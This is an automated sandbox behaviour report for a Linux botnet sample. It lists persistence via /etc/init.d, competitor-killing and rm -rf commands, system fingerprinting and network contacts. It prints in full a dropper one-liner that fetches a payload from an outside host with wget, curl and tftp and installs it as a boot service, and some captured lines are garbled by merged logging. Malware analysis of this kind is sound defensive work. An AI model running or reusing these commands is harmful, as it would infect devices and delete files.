Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/init.d/start
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
Manages services:
- update-rc.d start defaultstc/rc.d/dynddns.cftart
- systemctl enable startysv-install enable startrt
Launches processes:
- sh -c killall Netis >/dev/null 2>&1 & rm -rf *.x86* >/dev/null 2>&1 & killall *.x86* >/dev/null 2>&1 & rm -rf *.arc* >/dev/null 2>&1 & killall *.arc* >/dev/null 2>&1 & rm -rf *.arm* >/dev/null 2>&1 & killall *.arm* >/dev/null 2>&1 & rm -rf *.arm5* >/dev/null 2>&1 & killall *.arm5* >/dev/null 2>&1 & rm -rf *.arm6* >/dev/null 2>&1 & killall *.arm6* >/dev/null 2>&1 & rm -rf *.arm7* >/dev/null 2>&1 & killall *.arm7* >/dev/null 2>&1 & rm -rf *.m68k* >/dev/null 2>&1 & killall *.m68k* >/dev/null 2>&1 & rm -rf *.mips* >/dev/null 2>&1 & killall *.mips* >/dev/null 2>&1 & rm -rf *.mpsl* >/dev/null 2>&1 & killall *.mpsl* >/dev/null 2>&1 & rm -rf *.ppc* >/dev/null 2>&1 & killall *.ppc* >/dev/null 2>&1 & rm -rf *.sh4* >/dev/null 2>&1 & killall *.sh4* >/dev/null 2>&1 & rm -rf *.spc* >/dev/null 2>&1 & killall *.spc* >/dev/null 2>&1 & killall \\" \\" & killall \\" \\" >/dev/null 2>[rkmodule] [<SAMPLE>][PPID:0x2c4] [<SAMPLE>][PID:0x2c6] do_filp_open. Filename: \"/bin/sh\
- rm -rf *.arc*
- rm -rf *.arm5*
- rm -rf *.x86*
- rm -rf *.arm*
- rm -rf *.arm7*
- rm -rf *.arm6*
- rm -rf *.m68k*
- rm -rf *.mips*
- rm -rf *.mpsl*
- rm -rf *.ppc*
- rm -rf *.sh4*
- rm -rf *.spc*
- sh -c killall Netis >/dev/null 2>&1 & rm -rf *.x86* >/dev/null 2>&1 & killall *.x86* >/dev/null 2>&1 & rm -rf *.arc* >/dev/null 2>&1 & killall *.arc* >/dev/null 2>&1 & rm -rf *.arm* >/dev/null 2>&1 & killall *.arm* >/dev/null 2>&1 & rm -rf *.arm5* >/dev/null 2>&1 & killall *.arm5* >/dev/null 2>&1 & rm -rf *.arm6* >/dev/null 2>&1 & killall *.arm6* >/dev/null 2>&1 & rm -rf *.arm7* >/dev/null 2>&1 & killall *.arm7* >/dev/null 2>&1 & rm -rf *.m68k* >/dev/null 2>&1 & killall *.m68k* >/dev/null 2>&1 & rm -rf *.mips* >/dev/null 2>&1 & killall *.mips* >/dev/null 2>&1 & rm -rf *.mpsl* >/dev/null 2>&1 & killall *.mpsl* >/dev/null 2>&1 & rm -rf *.ppc* >/dev/null 2>&1 & killall *.ppc* >/dev/null 2>&1 & rm -rf *.sh4* >/dev/null 2>&1 & killall *.sh4* >/dev/null 2>&1 & rm -rf *.spc* >/dev/null 2>&1 & killall *.spc* >/dev/null 2>&1 & killall \" \" & killall \" \" >/dev/null 2>&1##[rkmodule] [systemd][PPID:0x1] [systemd-journal][PID:0x8c] vfs_getattr. path: \"/proc/140/cgroup\
- sh -c cd /etc/init.d;wget http://dynddns.cf/start/help/start -O start;curl http://dynddns.cf/start/help/start -o start;tftp -g -l sshd -r starthelpstart dynddns.cftart;chmod 777 /etc/init.d/startpstart dynddns.cftart;ln -s /etc/init.d/start /etc/rc.d/dynddns.cftart;update-rc.d start defaultstc/rc.d/dynddns.cftart;/lib/systemd/systemd-sysv-install enable startrt;systemctl enable startysv-install enable startrt;chkconfig --add starttysv-install enable startrt;chkconfig start onarttysv-install enable startrt;
- wget http://dynddns.cf/start/help/start -O start
- chmod 777 /etc/init.d/startpstart dynddns.cftart
- ln -s /etc/init.d/start /etc/rc.d/dynddns.cftart
- /lib/systemd/systemd-sysv-install enable startrt
- sh -c grep -c ^processor /proc/cpuinfo
- grep -c ^processor /proc/cpuinfo
- sh -c free|grep \"Mem:\"|awk '{print $2 \" KB\"}'||printf \"Ram Not Foun
- free
- grep Mem:
- awk {print $2 \" KB\"}
- sh -c if [ -f /usr/bin/yum ]; then cat /etc/system-release|head -n1; elif [ -f /usr/bin/apt-get ]; then lsb_release -d|awk '{$1= \"\"; print $0}'|head -n1 ; elif [ -f /usr/bin/install ]; then busybox|head -n1|awk '{print $1\" \"$2}';fi||printf \"OS Not Foun
- lsb_release -d
- awk {$1= \"\"; print $0}
- head -n1
- sh -c uname -r||printf \"No Kernel Version Foun
- uname -r
- sh -c uname -n||printf \"No Kernel Node Version Foun
- uname -n
- sh -c ps aux | wc -l||printf \"No Process Count Foun
- ps aux
- wc -l
Attempts to kill the following processes:
- killall Netis
- killall *.arc*
- killall *.x86*
- killall *.arm*
- killall *.arm5*
- killall *.arm6*
- killall *.arm7*
- killall *.m68k*
- killall *.mips*
- killall *.mpsl*
- killall *.ppc*
- killall \" \"
- killall *.sh4*
- killall *.spc*
- killall
- killall
Performs operations with the file system:
Deletes files:
- /root/*.arc*
- /root/*.arm*
- /root/*.arm5*
- /root/*.arm6*
- /root/*.arm7*
- /root/*.x86*
- /root/*.mips*
- /root/*.m68k*
- /root/*.ppc*
- /root/*.mpsl*
- /root/*.sh4*
- /root/*.spc*
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:17386
Establishes connection:
- <LOCAL_DNS_SERVER>
- 18#.##2.44.107:2323
HTTP GET requests:
- http://###.###.221.118/mailt/
- dy#####.cf/start/help/start
DNS ASK:
- dy##dns.cf
Other:
Collects CPU information
Collects RAM information
Collects information about network activity
